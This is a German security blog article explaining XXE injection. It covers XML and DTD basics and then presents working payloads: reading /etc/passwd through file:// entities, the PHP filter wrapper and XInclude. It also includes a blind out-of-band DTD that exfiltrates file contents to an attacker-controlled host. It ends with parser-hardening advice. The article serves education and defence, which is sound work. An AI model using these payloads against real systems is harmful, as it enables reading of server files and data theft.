Prompt Injection
Andrea Hauser
So funktioniert XML-Injection
Bevor auf XXE Injection im Detail eingegangen werden kann, muss allerdings erst einmal festgelegt werden was XML und External Entities selbst sind. XML steht für Extensible Markup Language und ist als textbasiertes Format für den Austausch und das Speichern von strukturierten Informationen gedacht. Beispielsweise kann eine XML-Datei mit dem ein Buch abgebildet wird wie folgt aussehen:
<?xml version="1.0" encoding="UTF-8"?> <book> <!-- root node --> <author id="1"> <!-- node mit attribute --> <firstname> <!-- child des author node --> 1337h4x0r <!-- node Wert --> </firstname> <lastname>Hacker</lastname> </author> <title>Best Hacking Book!</title> </book>
Optional kann in XML auch Document Type Definition (DTD) verwendet werden. Damit kann definiert werden, wie das XML-Dokument strukturiert sein muss und es kann verwendet werden, um ein XML-Dokument zu validieren. DTDs können entweder intern, also innerhalb der XML-Datei selbst, oder extern, also von einem anderen Server, geladen werden. Eine interne DTD für das oben gezeigte Beispiel könnte dementsprechend wie folgt aussehen:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE book [ <!ELEMENT book(author, title)> <!ELEMENT author(firstname, lastname)> <!ELEMENT firstname (#CDATA)> <!ELEMENT lastname (#CDATA)> <!ELEMENT title (#CDATA)> ]> <book> <author id="1"> <firstname>1337h4x0r</firstname> <lastname>Hacker</lastname> </author> <title>Best Hacking Book!</title> </book>
Als externe DTD würde das ganze wie folgt aussehen:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE book SYSTEM "<https://example.com/example.dtd>"> <book> <author id="1"> <firstname>1337h4x0r</firstname> <lastname>Hacker</lastname> </author> <title>Best Hacking Book!</title> </book>
Und auf dem System example.com
in der Datei example.dtd
ist folgendes gespeichert:
<!ELEMENT book(author, title)> <!ELEMENT author(firstname, lastname)> <!ELEMENT firstname (#CDATA)> <!ELEMENT lastname (#CDATA)> <!ELEMENT title (#CDATA)>
Eine DTD kann zudem beliebige selbstdefinierte Entites beinhalten, die wiederum als interne oder externe Entity definiert werden können. Hier das Beispiel mit einer internen Entity:
<!DOCTYPE book [ <!ELEMENT book(author, title)> <!ELEMENT author(firstname, lastname)> <!ELEMENT firstname (#CDATA)> <!ELEMENT lastname (#CDATA)> <!ELEMENT title (#CDATA)> <!ENTITY example "Example Entity"> <!-- Definition Entity --> ]> <book> <author id="1"> <firstname>1337h4x0r</firstname> <lastname>Hacker</lastname> </author> <title>&example;</title> </book>
Nach dem Parsen der Entity wird als Title Example Entity
eingetragen sein.
Und folgend das Beispiel mit einer externen Entity:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE book [ <!ENTITY example SYSTEM "<https://example.com/example.dtd>"> ] > <book> <author id="1"> <firstname>1337h4x0r</firstname> <lastname>Hacker</lastname> </author> <title>&example;</title> </book>
Und auf dem System von example.com
in der Datei example.dtd
ist folgendes gespeichert:
<!ENTITY example "Example Entity">
Als Angreifer können nun eben diese oben gezeigten DTD und Entity Definitionen für bösartige Zwecke missbraucht werden. Eine Webapplikation die XML zur Übertragung von Daten verwendet besitzt serverseitig einen XML-Parser, der diese Daten verarbeitet. Wenn der Parser von einem Angreifer dazu gebracht werden kann, Externe Entitites aufzulösen oder mittels file://
und einem internen Pfad interne Dateien einzubinden, kann ein Angreifer an interne Informationen gelangen.
Nehmen wir das oben bereits verwendete Beispiel als Ausgangslage für eine Abfrage an einen Webserver. Wenn ein Angreifer eine auf dem Server vorhandene lokale Datei abfragen will, kann folgende bösartige XML External Entity Abfrage ausgeführt werden:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE book [ <!ENTITY example SYSTEM "file:///etc/passwd"> ] > <!-- bösartiger Teil der Abfrage --> <book> <author id="1"> <firstname>1337h4x0r</firstname> <lastname>Hacker</lastname> </author> <title>&example;</title> </book>
Und falls die Datei /etc/passwd
gelesen werden kann, kann es entweder sein, dass der Inhalt anstatt des Titel des Buchs im HTML angezeigt wird, oder dass eine Fehlermeldung ausgegeben wird, die den Inhalt von /etc/passwd
preisgibt:
HTTP/2 400 Bad Request Content-Type: application/json; charset=utf-8 Content-Length: 600 "Invalid title: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin"
Wenn es gelingt lokale Dateien zu lesen können die folgenden Listen verwendet werden, um interessante Dateien zu identifizieren und lesen:
Gleichzeitig sollte aber auch überprüft werden, ob die Möglichkeiten für einen Server-Side-Request-Forgery Angriff besteht und interne Systeme oder im Cloud-Umfeld auch Metadaten-Systeme abgefragt und weiter ausgenutzt werden können. Für Cloud-Instanzen finden sich hier interessante Endpunkte und über SSRF Angriffe wurden im Artikel zu SSRF mehr Details und Angriffswege beschrieben.
Wenn das angegriffenen System PHP verwendet, kann folgendes genutzt werden, um Dateien vom Dateisystem zu lesen:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE book [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <book> <author id="1"> <firstname>1337h4x0r</firstname> <lastname>Hacker</lastname> </author> <title>&example;</title> </book>
Falls vom Parser der vom Angreifer definierte Doctype abgelehnt wird, kann noch versucht werden mit XInclude
anzugreifen. Das würde dann wie folgt aussehen:
<example xmlns:xi="<http://www.w3.org/2001/XInclude>"> <xi:include parse="text" href="file:///etc/passwd"/></example>
Bis jetzt beschriebene Angriffe können nur verwendet werden, wenn Informationen zurückgegeben werden. Das Ganze kann jedoch auch als blinde XXE Injection durchgeführt werden. Dies kann gemacht werden, in dem Netzwerk-Interaktionen ausgelöst werden und indem versucht wird Informationen über diese Interaktionen zu extrahieren. Eine vollständige Ausnutzung könnte dann wie folgt aussehen. Im Request wird folgendes bösartiges mitgegeben:
<!DOCTYPE book[<!ENTITY % xxe SYSTEM "<https://example.com/example.dtd>"> %xxe;]>
und auf dem Angreifer-System befindet sich folgende example.dtd
:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'https://example.com/?x=%file;'>"> %eval; %exfiltrate;
Für diesen Angriff wurden XML Parameter Entities verwendet, die wie folgt deklariert werden:
<!ENTITY % exampleentity "Parameter Entity Wert" >
und wie folgt aufgerufen werden:
%exampleentity;
Anhand von öffentlich einsehbaren BugBounty-Programmen zeigt sich, dass XXE Injection weiterhin ein Problem sind, die in vielen unterschiedlichen Situationen aufkommen können. Zum Beispiel in Bilduploads, Audio-Uploads oder in VoiceXML Spezifikationen. Zudem kann auch gut aufgezeigt werden, dass aus einer erst mal nur lesenden Schwachstelle in Kombination mit anderen Schwachstellen viel weiteres ausgenutzt werden kann, dass zum Beispiel beim DoD zu einer Remote Code Execution geführt hat. Falls nach der Lektüre dieses Artikels Interesse aufgekommen ist, diesen Schwachstellentyp selbst einmal auszuprobieren, kann dies in einem legalen Rahmen mit den Labs von Portswigger gemacht werden.
Am besten kann man sich gegen XML External Entitiy Injection schützen, indem der Parser so konfiguriert wird, dass External Entities sowie XInclude gar nicht mehr geparst beziehungsweise erlaubt werden. Das OWASP Cheat Sheet gegen XXE beinhaltet spezifische Konfiguration pro Programmiersprache und Parser.
Obwohl XML nicht mehr als beliebtestes Datenübertragungsformat betrachtet werden kann, wird es dennoch in gewissen Fällen wie zum Beispiel Bild-Uploads, SOAP-Nachrichten und ähnlichem weiter eingesetzt. Wenn XML verwendet wird, sollte darauf geachtet werden, dass die XML External Entity Injection Möglichkeiten verhindert werden, indem der XML-Parser entsprechend gehärtet wird. Bei fehlender Härtung können die Auswirkungen über Lesen von internen Dateien, auskundschaften des internen Netzwerks ausgehend vom anfälligen Server bis zur Remote Code Execution führen, wenn die Schwachstelle mit weiteren Schwachstellen kombiniert werden kann.
Unsere Spezialisten kontaktieren Sie gern!
Andrea Hauser
Andrea Hauser
Andrea Hauser
Andrea Hauser
Unsere Spezialisten kontaktieren Sie gern!